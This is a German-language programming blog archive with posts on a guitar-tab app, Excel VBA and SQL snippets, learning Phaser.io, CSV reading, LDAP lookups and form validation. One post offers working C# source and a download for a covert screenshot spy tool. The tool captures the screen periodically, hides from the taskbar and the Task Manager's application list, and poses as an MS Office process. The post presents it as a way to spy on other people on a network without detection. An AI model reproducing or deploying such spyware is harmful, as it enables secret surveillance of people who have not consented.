Archiv der Kategorie: Programmierung

Projektvorstellung: HTML5+Javascript+Canvas: Guitartabs.de/Tabulaturen.de – Anwendung zum Zeichnen von Tabulaturen (Gitarrennoten)

Intention

Im Proberaum mit Internetzugang ergab sich oft die Situation, in der man schnell ein paar Tabulaturen aufschreiben musste.
Tabulaturen.de soll einfach die nötigsten Werkzeuge liefern um eine druckfähige Tabulatur ohne großen Aufwand zu generieren.

Zielgruppenanalyse

Ranking für Tabulaturen und Guitartabs bei Google

Es ist ein stark rückläufiger Trend für die Suche nach Tabulaturen und Guitartabs zu verzeichnen. Ich vermute dass das Ventil der Suchenden nun vorwiegend YouTube-Videos sind, da man hier auch ein breites Spektrum an Tutorials für Lieder vorfindet.

Was in den meisten Fällen fehlt, wäre das Anreichern von den YouTube Videos mit Tabulaturen. Nun ist natürlich die Frage ob die Video irgendeine Legalitätslücke ausnutzen, da sie regelrecht sprießen. Darf jeder irgendein Lehrvideo machen wenn er keine Tabulaturen zeigt?

Weitere denkbare Projekte auf der Basis

Kapital vorhanden:
– Brainstorming Tool
– Projektmanagement (GANTT)
– UML
– Programmablaufpläne
– ER Diagramme (die normalen)
– Web Visio

Ohne Kapital
– Puzzle

To Do

  • Löschen von Tabs und Texten
  • Editieren von Texten
  • Taktstriche
  • Properties wie bei Objektinspektor für Tab (Tempo / Takt … )
  • Menü wie Online Word
  • MIDI Tonausgabe
  • Noten
  • Mehrere Seiten
  • Facebook login / Registrieren
  • Daten speichern
  • Druckqualität untersuchentabsymbols_ttf

 

.NET: Spionagetool / Tool was periodisch Screenshots erzeugt / Screenshot tool / Spy Tool

Terms of use – Nutzungbedingungen

Do not use this for illegal purposes. This is a free tool to demonstrate how you can spy third persons or just generate screenshots in a folder (maybe a netdrive).

Dieses Tool darf nicht für illegale Zwecke genutzt werden und dient lediglich der Demonstration von Prozessen, die komplett versteckt im Hintergrund und unentdeckt Spionageaktivitäten ermöglichen.

Warranty – Garantie

I promise that this file is absolutely virus free and will not damage anything or give data to third persons!
Ich verspreche dass dieses Tool absolut virusfrei ist und keinen Schaden am Rechner anrichtet, geschweige denn Daten an dritte Personen weitergibt.

Description – Beschreibung

A hidden tool shall generate periodic screenshots every minute (i.e on a net drive or the directory it has been started in) and be stopable remotely.
Ein unentdeckbares Tool generiert jede Minute periodisch Screenshots in dem Verzeichnis, in dem es gestartet wurde (z.B. auf einem Netzlaufwerk) und es auch zur Not gestoppt werden kann.

Approach – Ansatz

A hidden executed process is running in the background, which is not shown in the task bar and labeled as MS Office process in the Task Manager.
Ein versteckter Prozess gibt sich als Microsoft Office Anwendung aus und ist nicht im Taskmanager unter „Anwendungen“ auffindbar. Er wird nicht in der Taskbar angezeigt.

Prerequirements – Vorraussetzungen

  • .NET Framework
  • Someone can execute the process on a netdrive / Jemand muss die Exe am Netzlaufwerk vorher starten

Solution – Lösung

  • Download and unpack the following tool on a netdrive: ScreenshotTool
  • Double click the process (this will not damage s.th. on the computer!!!)
  • The tool is producing a screenshot every minute in the folder it has been started in.
  • To stop the tool, rename close_.txt to close.txt (otherwise a restart of the computer will stop the process and there is nothing pointing to it).

Fazit

On the screenshot you see the only hint to recognize the running tool. It is not shown in the Task Manager. Via Filesharing/Samba it is possible to spy other persons in a network without getting discovered by virus scans.

taskmanager

 

Code

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Drawing.Imaging;
using System.IO;

namespace screenshot
{
    public partial class Form1 : Form
    {
        // Die Dateien werden im Pfad erzeugt, wo die Exe gestartet wird
        public string outputPath = Application.StartupPath;

        public Form1()
        {
            InitializeComponent();

            // Das Fenster bekommt keinen Border Style
            this.FormBorderStyle = FormBorderStyle.None;

            // Das Fenster wird nicht in der Task Bar angezeigt
            this.ShowInTaskbar = false;
        }

        // Entfernt das Programm aus dem Taskmanager -> Anwendungen
        protected override CreateParams CreateParams
        {
            get
            {
                var cp = base.CreateParams;
                cp.ExStyle |= 0x80;  // Turn on WS_EX_TOOLWINDOW
                return cp;
            }
        }
         
        // Erzeuge einen Screenshot
        private void button1_Click(object sender, EventArgs e)
        {
            // Prüfe ob eine close.txt existiert
            if (File.Exists(@"" + outputPath + "\\close.txt"))
            {
                this.Close();
            }


            // this.Opacity = 0.0;  // Verstecken der Form vor dem Screencopy
 
            // Screencopy erstellen und in BildschirmBMP ablegen
            Screen   Bildschirm      = Screen.PrimaryScreen; // Hauptbildschirm
 
            using (Bitmap BildschirmBMP = new Bitmap(Bildschirm.Bounds.Width, // Ziel-Bitmap
                                          Bildschirm.Bounds.Height,
                                          PixelFormat.Format24bppRgb))
            {
                using (Graphics BildschirmGR = Graphics.FromImage(BildschirmBMP))
                {
                    // Graphics erzeugen
                    BildschirmGR.CopyFromScreen(Bildschirm.Bounds.X, 
                                                Bildschirm.Bounds.Y, // Abbild erstellen 
                                                0, 
                                                0,
                                                BildschirmBMP.Size);
                }

                // this.Opacity = 1.0;  // Wieder anzeigen der Form nach dem Screencopy

                // Screencopy speichern mit Datum ein Zeitstempel
                BildschirmBMP.Save(outputPath + @"\output_" + DateTime.Now.Year + 
                "-" + DateTime.Now.Month + "-" + DateTime.Now.Day + "__" + 
                DateTime.Now.Hour + "_" + DateTime.Now.Minute + "_" + 
                DateTime.Now.Second + ".png"); // Nur mal so zum speichern
            }

        }

        // Rufe jede Sekunde auf (Timer ist ein Toolbox Element)
        private void timer1_Tick(object sender, EventArgs e)
        {
            // Jede Sekunde ausführen
            button1_Click(null, null);
        }

        // Sobald das Programm gestartet ist, starte den Timer
        private void Form1_Load(object sender, EventArgs e)
        {
            // Beim Start einmal ausführen
            button1_Click(null, null);
            timer1.Start();
        }
    }
}

Excel VBA: Create dynamic worksheet from SQL Query / Excel Arbeitsblatt durch SQL Query erstellen

Problem

A new Worksheet should be created, that contains the result of an SQL Query (ADODB) generic (in the way, that no column names have to be adressed in the recordset.

Approach – Ansatz

  • Iteration over the Resultsets field names to get Meta Information / Header names
  • Usage of CopyFromRecordSet method of the Range Object: worksheet.Range(„A2“).CopyFromRecordset Rs

Solution – Lösung

Sub CreateExcelSheetWithQueryResult(ws As Worksheet, sql As String)
    Dim Cn As New ADODB.Connection
    Dim Rs As New ADODB.Recordset
    Dim vaTmp() As String
    
    Cn.Provider = "SQLOLEDB.1"
    
    Cn.ConnectionString = "Password=pass;" & _
    "Persist Security Info=True;" & _
    "User ID=user;" & _
    "Initial Catalog=databaseName;" & _
    "Data Source=ServernameOrIP"
    
    Cn.Open
    
    Rs.CursorType = adOpenKeyset
    Rs.LockType = adLockPessimistic
    Rs.Open sql, Cn, adOpenStatic
   
    ws.Cells.Clear
    
    ' This section fills in the field names from the Orders table.
    ReDim vaTmp(Rs.Fields.Count)
    For x = 0 To Rs.Fields.Count - 1
        vaTmp(x) = Rs.Fields(x).Name
    Next
    ws.Cells(1, 1).Resize(1, Rs.Fields.Count) = vaTmp
   
    ws.Range("A2").CopyFromRecordset Rs
    
    Rs.Close
    Cn.Close
End Sub

And if you want to create a new Excel sheet you can do this with a button that assigned macro contains the following source:

Sub DetailQuery1_KlickenSieAuf()
    Dim ws As Worksheet
    Sheets.Add After:=Sheets(Sheets.Count)
    ' Referenz darauf
    Set ws = Sheets(Sheets.Count)
    CreateExcelSheetWithQueryResult ws, "SELECT TOP 10 * FROM irrsinn"
    
End Sub

Persönlicher Bericht: Mein Einstieg in die HTML5 Spieleentwicklung mit phaser.io

Intention

Viele Entwickler, die selber schon leidenschaftlich ein Spiel gezockt haben, träumen von der Umsetzung eigener Spieleideen.

Bei mir ist es hier nicht anders. Ich habe viele Ideen und viele davon sind unsinnig. Man würde sie vermutlich in die Kategorie „Trash“ stecken. Aber gerade professionell anmutende Spiele mit Trash-Faktor sind es, die viele Spieler fesseln. Die meisten Spiele, die nicht als „Trash“ gekennzeichnet sind, sind unter reellen Bedingungen absoluter Humbug.

Beispiele:
* Ein Klempner aus Brooklyn der Pilze frisst und auf Schildkröten rumtrampelt
* Eine Steinschleuder die kleine Vögel auf grüne Schweine schießt
* Prügelnde Kontrahenten, die Energiebälle schießen und mit Hubschrauberkicks durch die Gegend fliegen
* .. etc

Obwohl diese Spiele absolut unrealistisch sind, haben diese eine „Spielephysik“, die aber nicht unbedingt realisitsch sein muss.
* Super Mario springt und fällt auch wieder auf den Boden
* Ein Angry Bird schubst Teile seiner Welt an, diese stürzen um und schubsen wiederum weitere Teile an, solange bis das Schweinehaus zusammenfällt.
* Die Sequenz des Schießens bei Ryu/Ken benötigt eine gewisse Zeit in der sie angreifbar sind. Wenn Chun Li in der Luft ist kann Guile sie mit seinem Flip-Kick unbeschadet runterholen.

Distanziert betrachtet haben mich diese Spiele gefesselt und viel Zeit gekostet, waren aber konzeptuell absoluter Quatsch. Ob ich als Hobbyentwickler und Familienvater in meiner Frezeit die Zeit finde, an einem Spiel zu entwickeln, möchte ich an diesem Punkt noch bezweifeln aber ich lasse mich jetzt mal überraschen.

Aus diesem Grund wollte ich während meines Urlaubes den Einstieg in die HTML 5 Spieleentwicklung so hinbekommen, dass ich grundsätzlich ein 2D-Spieleentwicklungsproblem angehen kann.

Idee

Die erste Idee ist nichts weltbewegendes und sie ist absoluter Quatsch:
Beer Througher Professional

Wir haben eine Person, die ein Bierglas über einen Tisch wirft. Während das Bierglas über den Tisch fliegt, soll die Kamera mitscrollen (wie bei Angry Birds). Am Ende soll die Kamera stehen bleiben, dass Bier auf ein Trampolin fallen (oder auch nicht – je nachdem wie stark geworfen wurde) und dem Biertrinker, der faul auf der rechten Seite liegt, in den Mund gekippt werden.

Grundlagenforschung

Nachdem ich nun Google nach dem Thema „HTML 5 Canvas Games“ befragte, landete ich in dem Forum http://www.html5gamedevs.com in dem ich mich auch prompt registrierte um meine Idee den „Profis“ vorzustellen. Ich wollte mir Anregungen und Tipps holen, die mich bei der Umsetzung dieser Spieleidee als HTML5 Spiel befähigen.

Dazu schrieb ich diesen Forenbeitrag:

Während ich auf Antwort wartete, stöberte ich etwas in dem Forum und stieß auf die eigene Forenrubrik „Phaser.io“. Hierbei handelt es sich um ein HTML 5 Canvas Spieleframework, welches momentan scheinbar eine relativ weite Verbreitung hat.

Meine erster Beantworter auf den Forenbeitrag schlägt außerdem die Nutzung einer Bibliothek namens „PIXI.JS“ für das 2D Rendering vor, die angeblich auch in phaser.io vorhanden ist, ebenfalls wie diverse Spielephysik, auf die man direkt über die Phaser-Framework-Methoden zugreifen kann. Desweiteren gibt es Add-Ons, die man zwar für kleines Geld dazukaufen muss, aber welche die Funktionalitäten von Box2D hinzufügen:

http://phaser.io/shop

Hier ist eine Box2D Wasserpartikeldemo:

http://google.github.io/liquidfun/

Um kleine Javascripte auszuprobieren wurde auf der Seite von phaser.io folgendes Minitool empfohlen:

http://jsfiddle.net/

Entschluss

Ich werde mich daher in Phaser.io einarbeiten, da es als Werkzeugkasten die meisten Features für die Entwicklung von Spielen bietet.

Phaser kann man im Web unter der folgenden URL finden:

http://phaser.io/

Einstieg in Phaser.io / Erfahrungsbericht:

Die Entwicklungsumgebung

Zunächst stellt sich die Frage, welche Entwicklungsumgebung man nutzen möchte.

Da ich von Online-Quellcodeeditoren wie Codeanywhere begeistert bin, wollte ich die auf der Website phaser.io vorgeschlagene Cloud9-Variante testen. Hierbei handelt es sich ebenfalls um einen Online-Quellcodeeditor

http://c9.io <- Cloud9 Quellcodeditor

Erste Hürde: „First, sign up to the website using GitHub, and once this is completed, you will be redirected to your dashboard.“

Hierzu musste ich mich erstmal bei GitHub (ja hatte noch keinen Account 😉 ) anmelden und das Hello World Tutorial durchgehen, was mich 20 Minuten gekostet hat. Im Tutorial musste man einen „Branch“ anlegen und diesen mit dem „Master“ wieder vereinigen.

Der benannte Vorteil von GitHub: “ You don’t have to worry about losing data on your hard drive or managing a project across multiple computers“

Es lebe die Cloud!

In GitHub musste ich zunächst den Cloud9 Editor authorisieren auf mein Repository zugreifen zu dürfen:
„Authorize application
Cloud9 by @cloud9Deploy would like permission to access your account“

Auf dem Cloud9 Dashboard angelangt, erzeugt man ein neues Projekt von der URL
http://github.com/photonstorm/phaser.git

Diese URL scheint das komplette Phaser-Framework zu beinhalten.

Meine erste Überraschung beim Cloud9 Editor:
* Man kann PHP Code anlegen, der interpretiert wird
* Es gibt eine Ubuntu Command Line Zeile, in der man BASH-Kommandos ausführen kann

Der Cloud9 Editor bietet einen Debugger, den hatte ich für PHP schon länger gesucht, allerdings bleibt die Ausführung nicht bei den Breakpoints hängen. Evtl. muss man etwas konfigurieren?

Zurück zu phaser.io . Ich will ja erstmal mein Hello World Projekt erstellen :). Also mal gucken ob mir das die eingerichtete kostenlose Umgebung auch erlaubt…

Ich habe nun den gesammten root-Folder des Phaser-Ordners in den Ordner „Phaser“ kopiert, da man in der kostenlosen Version von Cloud9 nur einen Workspace nutzen darf.

Da ich mit Chrome arbeite, hat sich zum Switchen zwischen den Tabs (Editor <-> Tutorial <-> WordPress) die Tastenkombination STRG+BILD Hoch / STRG+Bild Runter als praktisch erwiesen. Auffällig ist, das der Cursorfokus des aktuellen Tabs nicht verloren geht.

Im Ordner phaser/Ressources/tutorials befinden sich alle Tutorials, die auf der Seite phaser.io aufgeführt sind. Ich hatte den Fehler gemacht über die Cloud9-Bashconsole die ZIP-Dateien mit wget runterzuladen und mit unzip zu entpacken. Dies ist unnötig.

Über den RUN-Button des Cloud9-Editors ist schnell eine geöffnete HTML-Datei geladen und mit dem Preview-Button auf den Bildschirm gebracht.

Schnell habe ich die ersten beiden Tutorials durch…

http://phaser.io/tutorials/making-your-first-phaser-game/part2

Es ist nicht nötig den Run-Button bei jedem Versuch neu zu klicken sondern es reicht aus den Refresh button zu klicken.

Fazit

* Die kostenlose Variante von Cloud9 (http://c9.io) ist sehr zu empfehlen.

* Ich hätte das GitHub Tutorial nicht benötigt, da lediglich GitHub für den Login von Cloud9 genutzt wird.

* Ich kann nun relativ schnell rechner- und ortsunabhängig an einem Canvas-Spiel entwickeln

Erste Schritte mit dem Framework

Meines Erachtens macht es durchaus Sinn auf der Hauptebene seines Cloud9 Workspace das Phaser-Framework mit den Tutorials als Nachschlagewerk zu nutzen. Die Hauptstruktur eines Phaser-Projektes sieht so aus:

var game = new Phaser.Game(800, 600, Phaser.AUTO, '', { preload: preload, create: create, update: update });

function preload() {

    game.load.image('sky', 'assets/sky.png');
    game.load.image('ground', 'assets/platform.png');
    game.load.image('star', 'assets/star.png');
    game.load.spritesheet('dude', 'assets/dude.png', 32, 48);

}

var platforms, player, cursors, stars;
var score = 0;
var scoreText;

function create() {

    //  We're going to be using physics, so enable the Arcade Physics system
    game.physics.startSystem(Phaser.Physics.ARCADE);

    //  A simple background for our game
    game.add.sprite(0, 0, 'sky');

    //  The platforms group contains the ground and the 2 ledges we can jump on
    platforms = game.add.group();

    //  We will enable physics for any object that is created in this group
    platforms.enableBody = true;

    // Here we create the ground.
    var ground = platforms.create(0, game.world.height - 64, 'ground');

    //  Scale it to fit the width of the game (the original sprite is 400x32 in size)
    ground.scale.setTo(2, 2);

    //  This stops it from falling away when you jump on it
    ground.body.immovable = true;

    //  Now let's create two ledges
    var ledge = platforms.create(400, 400, 'ground');

    ledge.body.immovable = true;

    ledge = platforms.create(-150, 250, 'ground');

    ledge.body.immovable = true;

    // The player and its settings
    player = game.add.sprite(32, game.world.height - 150, 'dude');

    //  We need to enable physics on the player
    game.physics.arcade.enable(player);

    //  Player physics properties. Give the little guy a slight bounce.
    player.body.bounce.y = 0.2;
    player.body.gravity.y = 300;
    player.body.collideWorldBounds = true;

    //  Our two animations, walking left and right.
    player.animations.add('left', [0, 1, 2, 3], 10, true);
    player.animations.add('right', [5, 6, 7, 8], 10, true);
    
    cursors = game.input.keyboard.createCursorKeys();
    
    stars = game.add.group();

    stars.enableBody = true;

    //  Here we'll create 12 of them evenly spaced apart
    for (var i = 0; i &lt; 12; i++)
    {
        //  Create a star inside of the 'stars' group
        var star = stars.create(i * 70, 0, 'star');

        //  Let gravity do its thing
        star.body.gravity.y = 6;

        //  This just gives each star a slightly random bounce value
        star.body.bounce.y = 0.7 + Math.random() * 0.2;
    }    
    
    scoreText = game.add.text(16, 16, 'score: 0', { fontSize: '32px', fill: '#000' });

}

function update() {
        //  Collide the player and the stars with the platforms
    game.physics.arcade.collide(player, platforms);
    
    //  Reset the players velocity (movement)
    player.body.velocity.x = 0;

    if (cursors.left.isDown)
    {
        //  Move to the left
        player.body.velocity.x = -150;

        player.animations.play('left');
    }
    else if (cursors.right.isDown)
    {
        //  Move to the right
        player.body.velocity.x = 150;

        player.animations.play('right');
    }
    else
    {
        //  Stand still
        player.animations.stop();

        player.frame = 4;
    }

    //  Allow the player to jump if they are touching the ground.
    if (cursors.up.isDown &amp;&amp; player.body.touching.down)
    {
        player.body.velocity.y = -350;
    }    
    
    // Prüfe ob die Sterne auf die Plattform treffen
    game.physics.arcade.collide(stars, platforms);
    
    // Prüfe ob der Spieler mit einem Stern kollidiert, falls ja gehe in die 
    // Funktion collectStar
    game.physics.arcade.overlap(player, stars, collectStar, null, this);
}

function collectStar (player, star) {

    // Removes the star from the screen
    star.kill();

    //  Add and update the score
    score += 10;
    scoreText.text = 'Score: ' + score;


}

Fazit

* In der Preload-Methode werden die Grafiken (PNGs) geladen. Spritesheets sind dabei Animationen, die als PNG vorliegen und die einzelnen Frames nebeneinander beinhalten.
* Die Objekte werden mit game.add.sprite in der entsprechenden Reihenfolge in der Create-Methode hinzugefügt
* Phaser besitzt 3 Physikengines. wobei Arcade die einfachste sein soll
** Arcade Physics
** Ninja Physics
** P2.JS Full-Body Physics
* Kollisionen werden immer in der Update-Prozedur abgefragt
* Tastatureingaben werden in der Update-Prozedur abgefragt
* Velocity ist die Geschwindigkeit, die ein Objekt bekommt

Anwendbarkeit

Wir haben hier eine fixe Welt, ich möchte aber sowas wie ein scorllendes Spiel nach dem Angry Birds Vorbild haben. Dafür brauche ich ein Beispiel. Die Frage ist, ob man Tilemaps, welche vorwiegend für scrollende Jump-and-runs wie Super Mario oder Giana Sisters verwendet werden benutzen sollte.

Ich suche also ein Beispiel das ich idealerweise nutzen kann…

Durchgehen der Phaser.io Examples

N

Debugging

Der Cloud9 Editor bietet die Möglichkeit, Break Points zu setzen. Ob diese Breakpoints nun das PHP oder Javascript debuggen können habe ich nicht rausgefunden, da sie keine Auswirkung haben. Allerdings hat mein Google Chrome Debugger auch recht nützliche Funktionen für das Debuggen. Nachteil ist, das man die Cloud9 Umgebung kurz verlassen muss. Man kann allerdings die URL (siehe Screenshot) des gestarteteten Webservers einfach in einen neuen Tab pasten.

Hierbei wunder ich mich wie lange dieser Webserver von c9.io laufen wird, da er ja für einen kostenlosen Account massig Systemressourcen frisst.

 

Canvas_debugging_with_chrome

Javascript: CSV Datei zeilenweise einleise / read csv file line by line

Problem

Eine CSV Datei soll zeilenweise per Javascript eingelesen werden
A CSV file should be read line by line via javascript

Ansatz – Approach

Es wird die $.ajax-Funktion von JQuery verwendet. JQuery wird entsprechend http://jquery.com/download/ eingebunden.
We are using the $.ajax-Method of JQuery. JQuery will be embedded according to http://jquery.com/download/.

Lösung – Solution

$(document).ready(function() {
    $.ajax({
        type: "GET",
        url: "data.txt",
        dataType: "text",
        success: function(data) {processData(data);}
     });
});

function processData(allText) {
    var allTextLines = allText.split(/\r\n|\n/);
    var headers = allTextLines[0].split(',');
    var lines = [];

    for (var i=1; i&lt;allTextLines.length; i++) {
        var data = allTextLines[i].split(',');
        if (data.length == headers.length) {

            var tarr = [];
            for (var j=0; j&lt;headers.length; j++) {
                tarr.push(headers[j]+":"+data[j]);
            }
            lines.push(tarr);
        }
    }
    // alert(lines);
}

Excel und VBA: Ein Sheet einlesen und kopieren

Problem

Ein Sheet soll aus einer anderen Datei rauskopiert und hier eingelesen werden

Ansatz

Über manuelles einlesen

Lösung

Benutzter Funktion:

' Prüfen ob workbook bereits offen
Function IsWorkbookOpen(strWB As String) As Boolean
   On Error Resume Next
   IsWorkbookOpen = Not Workbooks(strWB) Is Nothing
End Function

Funktion kopiereSheet:

Sub kopiereSheet(zielDatei As String, materialnummer As String)
    Dim ZWB As Workbook
    Dim letzteZeileQuelle, letzteSpalteQuelle As Integer
    Dim QWS As Worksheet, ZWS As Worksheet

    
    ' Debug.Print ZWB.ActiveSheet.Name & "<<<< ZWB VORHER QWS >>>>" & QWS.Name
        
    If Not IsWorkbookOpen(zielDatei) Then
        Application.DisplayAlerts = False
        Workbooks.Open Tabelle1.Cells(2, 2) & zielDatei                
        Application.DisplayAlerts = True
    End If
        
    Set ZWB = Workbooks(zielDatei)                             
    Set QWS = QWB.Worksheets(materialnummer)   ' Quelle
   
    
    ZWB.Sheets.Add after:=ZWB.Worksheets(1)
    ZWB.ActiveSheet.Name = materialnummer
    
    Set ZWS = ZWB.ActiveSheet
        
    ' Finde die letzte Zeile
    letzteZeileQuelle = QWS.Cells.Find("*", [A1], , , xlByRows, xlPrevious).Row + 1
    letzteSpalteQuelle = QWS.Cells.Find("*", [A1], , , xlByRows, xlPrevious).Row + 1
               
    Dim i, j As Integer
    
    For i = 1 To letzteZeileQuelle
        For j = 1 To letzteSpalteQuelle
            ZWS.Cells(i, j) = QWS.Cells(i, j)
        Next j
    Next i
   
   Debug.Print ZWB.ActiveSheet.Name & "<<<< ZWB NACHHER QWS >>>>" & QWS.Name
  
   ZWB.Sheets(1).Activate
End Sub

Excel und VBA: Prüfen ob ein Workbook, Worksheet oder Sheet bereits geöffnet ist / Check if Workbook, Worksheet, Sheet has already been opened

Problem

Ohne alle Sheets zu durchlaufen wird eine performante Lösung gesucht zu überprüfen, ob ein Sheet oder Workbook bereits geöffnet wurde.

Ansatz

Eine einfache Methode ist unter Benutzung der „On Error Resume Next“ Anweisung eine Prüfen nach der Referenz

Lösung

Prüfen für Workbook

' Prüfen ob workbook bereits offen
Function IsWorkbookOpen(strWB As String) As Boolean
   On Error Resume Next
   IsWorkbookOpen = Not Workbooks(strWB) Is Nothing
End Function

Beispiel:

If Not IsWorkbookOpen(pfad & zielDatei) Then
 ' Schaltet die Meldungen aus, 
 Application.DisplayAlerts = False
 Workbooks.Open pfad & zielDatei        
 ' Schaltet die Meldungen wieder ein 
 Application.DisplayAlerts = True
End If

Prüfen für Worksheet:

Dim QWB As Workbook
Set QWB = Workbooks(„JAN-MARCH.xlsx“)
If WorksheetEx(QWB, aktuelleMaterialNummer) Then…

Function WorksheetEx(WBTest As Workbook, strNam As String) As Boolean
   On Error Resume Next
   WorksheetEx = WBTest.Worksheets(strNam).Index > 0
End Function

Analog für Sheets

Sheets sind Worksheets inklusive Charts, Pivottabellen …

Function SheetEx(strNam As String) As Boolean
   On Error Resume Next
   SheetEx = Sheets(strNam).Index > 0
End Function

VBA und Excel: Dateien aus Verzeichnis einlesen / Read all files from directory

Problem

In VBA sollen alle Dateien eines Verzeichnisses eingelesen und ausgegeben werden.

Ansatz

Über das OLE Object scripting.FileSystemObject bekommt Excel die Möglichkeit für diese Operation

Lösung

Mit dem folgenden Code lassen sich alle Dateien eines Verzeichnisses einlesen.

Sub Schaltfläche1_KlickenSieAuf()
' Hole alle Dateien vom Verzeichnis
    Dim fs As Object
    Dim fVerz As Object
    Dim fDatei As Object
    Dim fdateien As Object
    Dim strDat As String
    Dim Zeile As Integer

    Set fs = CreateObject("scripting.FileSystemObject")
    Set fVerz = fs.getFolder("C:\verzeichnis")
    
    Set fdateien = fVerz.Files

    For Each fDatei In fdateien
        If InStr(fDatei, "") &gt; 0 Then
            Zeile = Zeile + 1
            Debug.Print fDatei.Name
        End If
    Next fDatei
End Sub

C#+LDAP: Email an Lotus Notes Gruppen per SMTP schicken

Problem

In einem Unternehmen sollen Lotus Notes Gruppen aufgelöst werden um den Mitgliedern der LN Gruppe Mails über einen normalen SMTP Server zu schicken

Ansatz

Lotus Notes besitzt i.d.R. einen LDAP Server, der die Notes Gruppen aufschlüsselt. Auf LDAP kann über C# zugegriffen werden.

Lösung

public ArrayList resolvingNotesGroups(String mailGroup)
{
 ArrayList alMailAddys = new ArrayList();

 DirectoryEntry DirEntry = new DirectoryEntry();
 {
  DirEntry.Path = "LDAP://notesldap.it.company.com";
  DirEntry.AuthenticationType = AuthenticationTypes.ServerBind;
 }
   
 DirectorySearcher search = new DirectorySearcher(DirEntry);
 DirectoryEntry de = new DirectoryEntry();

 Dictionary<String, String> dict = new Dictionary<string, string>();

 // Tweak this to refine your search
 search.Filter = "(cn=" + mailGroup + ")";// BBME_AC_Rubi
 // I limit my results while I tweak          
 search.SearchScope = SearchScope.Subtree;          

 try
 {
  SearchResultCollection src = search.FindAll();
        
  if (src.Count != 0)
  {
   foreach (SearchResult result in search.FindAll())
   {
    // Display each of the values for the property 
    // identified by the property name.
    foreach (object property in result.Properties["member"])
    {
     // CN Name ermitteln
     dict.Add(property.ToString(), "");
    }
   }
    
  }
  else
  {
   throw new Exception("GroupResolving - No Entry found for: " + search.Filter);
  }

  int indexStart;
  int indexEnd;


  foreach (KeyValuePair<string, string> entry in dict)
  {
   search.Dispose();
   search = new DirectorySearcher(DirEntry);

   indexStart = entry.Key.IndexOf("=");
   indexEnd = entry.Key.IndexOf(",");

   // Entry key only CN 
   search.Filter = "(cn=" + entry.Key.Substring(indexStart + 1, indexEnd - indexStart - 1) + ")";
   search.SearchScope = SearchScope.Subtree;

   foreach (SearchResult result in search.FindAll())
   {
    if (result != null)
    {

     de = result.GetDirectoryEntry();
     alMailAddys.Add(de.Properties["mail"].Value.ToString());
    }
    else
    {
     throw new Exception("Peolple Resolving - No Entry found for: " + search.Filter);
    }
   }
  }

 }
 catch (Exception ex)
 {
  throw new Exception("Following error occured: " + ex.Message.ToString());
 }
 finally
 {
  search.Dispose();
  DirEntry.Close();
 }

 return alMailAddys;
}}

C#.NET Windows Forms: Allow only numbers and decimals in TextBox

Problem

A Textbox should only allow numbers and decimals

Approach

Using the Keypress method will validate on each key that is entered.
Call the code below onKeyPress Event of each Textbox with

validateNumber(sender, e);

after each

Solution

private void validateNumber(object sender, KeyPressEventArgs e)
{
  if ((e.KeyChar == ',') && (((TextBox)sender).Text.IndexOf(',') > -1))
  {
    e.Handled = true;
    return;
  }

  if (!Char.IsDigit(e.KeyChar))
  {
    if ((e.KeyChar != ',') &&
        (e.KeyChar != Convert.ToChar(Keys.Back)))
    {
        e.Handled = true;
        return;
    }
 }
}